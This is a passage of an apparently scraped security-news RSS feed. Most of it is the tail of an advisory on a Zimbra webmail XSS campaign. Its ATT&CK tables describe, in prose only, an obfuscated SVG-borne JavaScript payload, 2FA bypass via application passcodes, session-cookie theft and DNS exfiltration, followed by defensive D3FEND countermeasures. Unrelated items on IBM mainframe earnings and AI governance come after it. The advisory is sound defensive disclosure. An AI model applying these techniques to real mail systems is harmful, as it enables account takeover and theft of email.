<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
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<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
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<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
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<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
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<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
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<title><![CDATA[Despite tough quarter, IBM says mainframe will continue to put the Big in Big Blue]]></title>
<description><![CDATA[Revenue from IBM’s z mainframe portfolio declined 42% in the quarter ended June 30, dragging infrastructure revenue down 7% compared to the year-ago quarter. But Big Blue executives remain positive on the mainframe’s role as an important AI platform.



After warning of an earnings shortfall, IBM...]]></description>
<link>https://tsecurity.de/de/3689349/it-security-nachrichten/despite-tough-quarter-ibm-says-mainframe-will-continue-to-put-the-big-in-big-blue/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689349/it-security-nachrichten/despite-tough-quarter-ibm-says-mainframe-will-continue-to-put-the-big-in-big-blue/</guid>
<pubDate>Thu, 23 Jul 2026 16:27:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Revenue from IBM’s z mainframe portfolio declined 42% in the quarter ended June 30, dragging infrastructure revenue down 7% compared to the year-ago quarter. But Big Blue executives remain positive on the mainframe’s role as an important AI platform.</p>



<p class="wp-block-paragraph">After warning of an earnings shortfall, IBM lowered its full-year forecast. It now expects 2026 revenue to grow between 4% and 5%, rather than its previous forecast of more than 5% growth. Some parts of its business did well: <a href="https://78449.themediaframe.com/incomm/ibm/ibm260722pressrelease.pdf">Software revenue grew 5% in the second quarter</a> to $7.76 billion, fueled by 11% growth in hybrid cloud, 18% growth in data, and 3% growth in automation.</p>



<p class="wp-block-paragraph">On the infrastructure side, IBM posted second-quarter revenue of $3.8 billion, which is down 7%. Within that business, distributed infrastructure grew 37%, but those gains were offset by a 10% decline in hybrid infrastructure and IBM Z’s 42% drop.</p>



<p class="wp-block-paragraph">In a <a href="https://newsroom.ibm.com/2026-07-14-Arvind-Krishnas-Letter-to-IBM-Investors">July 14 letter</a> to investors released prior to IBM’s July 22 earnings call, CEO Arvind Krishna warned of the earnings shortfall and laid out current challenges. He related the infrastructure performance shortfall to “wrapping on the launch of z17 in the second quarter” and stated: “Given this was the strongest start to a mainframe program in our history, we expected Infrastructure revenue to decline low-single digits for the year, beginning this quarter. What played out was worse than our expectations, driven by a shortfall in our Z performance and the associated software stack, primarily in Transaction Processing.”</p>



<p class="wp-block-paragraph">In the last few weeks of June, customers shifted capex spending and started purchasing more AI infrastructure components in the form of servers, storage, and memory “to secure supply-constrained infrastructure ahead of expected price increases,” Krishna stated. “This dynamic impacted client buying patterns. While we anticipated some supply chain related impact in our expectations, we did not anticipate the magnitude of the capex reprioritization.”</p>



<p class="wp-block-paragraph">Yet despite challenges this last quarter, z17 remains at nearly 130% growth program-to-program, according to IBM. That’s “well ahead of z16, which was our strongest program on record, with clients representing 85% of installed MIPs maintaining or growing capacity,” the July 14 letter stated.</p>



<p class="wp-block-paragraph">Mainframe infrastructure momentum is expected to continue, and IBM is anticipating strong workload growth and <a href="https://www.networkworld.com/article/3845376/ibm-laying-foundation-for-mainframe-as-ultimate-ai-server.html">AI-driven capacity</a> expansion as clients modernize mission-critical systems and emphasize resiliency and security, Krishna said during the company’s Q2 2026 earnings call on July 22.</p>



<p class="wp-block-paragraph">“AI is driving incremental capacity growth and new workloads as clients look to run AI closer to their most sensitive data,” IBM senior vice president and CFO James Kavanaugh said in the call. “We are seeing strong early adoption of our AI innovations with nearly 50% of <a href="https://www.networkworld.com/article/4193914/ibm-grows-mainframe-family-with-rack-frame-models-targeting-ai-hybrid-clouds.html">z17 customers</a> investing in AI capabilities with Spyre AI accelerator, and clients deploying Watson X Code Assistant for Z are growing MIPS capacity three times faster than those who are not.”</p>



<p class="wp-block-paragraph">“In a world where infrastructure costs are rising and efficiency matters more than ever, IBM Z offers a compelling economic advantage,” Kavanaugh continued. “Depending on the size and complexity of workloads, clients can realize a 2 to 15x total cost of ownership benefit versus moving these workloads off the platform, reinforcing why the platform remains central to their operations and positioning us to capture additional value as AI workloads grow.”</p>



<p class="wp-block-paragraph">“We see no evidence of clients moving off mainframe,” Kavanaugh added. “Clients continue to invest in IBM Z to modernize mission-critical workloads with a focus on resiliency and security.”</p>



<p class="wp-block-paragraph">In responding to an analyst question, Kavanaugh said three key things drive mainframe demand and purchasing requirements:</p>



<p class="wp-block-paragraph">“One is capacity workload. It’s the most important determinant. 85% Of the installed MIPS capacity out there in the marketplace today running all those core mission critical workloads are either stable or growing. Clients are adding capacity and workload to mainframe, the viability. And by the way, that’s coming in new AI workloads, analytics workloads, Linux-based workloads, and those MIPS are growing program to date over 15 to 20% installed capacity,” Kavanaugh said.</p>



<p class="wp-block-paragraph">Number 2 is economic factors. “We don’t talk a lot about this, but I think it’s important for our investors to understand things like total cost of ownership. Depending on the size and complexity of the workload, we have anywhere from a 2 to a 15x TCO advantage running on the mainframe [over smaller server systems]. Again, we do not see any evidence of clients migrating off mainframe and lease propensity, which is a great indicator,” Kavanaugh said.</p>



<p class="wp-block-paragraph">The third driver is AI. “When you look at it, applications, data security, all on the platform, we do 450 billion inferences per day at 1 millisecond with 8 nines availability,” Kavanaugh said. “We’ve got clients that have already purchased over 50% of our Spire inferencing, and those clients that have purchased that are growing MIPS capacity, the way [we monetize value], by over three times faster than others.”</p>
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<title><![CDATA[AI Is Repeating Cloud's Mistakes]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:4 The rapid adoption of AI shares similarities with the early cloud transition. Organizations moved quickly to adopt new capabilities while still learning how to manage costs, security, and governance.

Moving fast without clear ove...]]></description>
<link>https://tsecurity.de/de/3689342/it-security-video/ai-is-repeating-clouds-mistakes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689342/it-security-video/ai-is-repeating-clouds-mistakes/</guid>
<pubDate>Thu, 23 Jul 2026 16:21:03 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:4 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/1jxKP7hcnH4?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>The rapid adoption of AI shares similarities with the early cloud transition. Organizations moved quickly to adopt new capabilities while still learning how to manage costs, security, and governance.<br />
<br />
Moving fast without clear oversight can create new risks. However, unlike the early cloud era, organizations now have emerging frameworks and standards, including NIST AI RMF, OWASP guidance, and ISO resources, to help structure responsible AI adoption.<br />
<br />
Will organizations use the lessons learned from cloud adoption to build better AI governance, or will they repeat the same challenges?<br />
<br />
Subscribe to our podcasts: https://securityweekly.com/subscribe<br />
<br />
#AIGovernance #CloudSecurity #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec<br/></p>]]></content:encoded>
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<title><![CDATA[What Happened Between OpenAI and Hugging Face?]]></title>
